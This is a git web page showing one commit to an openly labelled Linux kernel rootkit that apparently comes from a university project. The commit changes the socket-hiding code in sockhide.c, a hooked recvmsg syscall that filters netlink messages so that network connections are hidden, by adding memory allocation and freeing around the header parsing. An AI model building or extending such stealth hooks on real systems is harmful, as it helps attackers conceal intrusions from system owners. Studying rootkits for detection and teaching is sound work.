linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 56adaaf74122f1b94d65e6951c8557aec2d133ea
parent d87ae4a8143b805ddbb998a0a320e7e9f6604f33
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 13 Dec 2020 05:01:48 +0100

fixes panic?

Diffstat:
Msrc/sockhide.c | 3+++
1 file changed, 3 insertions(+), 0 deletions(-)

diff --git a/src/sockhide.c b/src/sockhide.c @@ -171,6 +171,8 @@ g7_recvmsg(struct pt_regs *pt_regs) if ((len = ret = sys_recvmsg(pt_regs)) < 0) return ret; + nh = kmalloc(sizeof(struct nlmsghdr), GFP_KERNEL); + copy_from_user(nh, (struct nlmsghdr *)((struct user_msghdr *)pt_regs->si)->msg_iov->iov_base, sizeof(struct nlmsghdr)); @@ -191,6 +193,7 @@ g7_recvmsg(struct pt_regs *pt_regs) nh = NLMSG_NEXT(nh, len); } + kfree(nh); return ret; }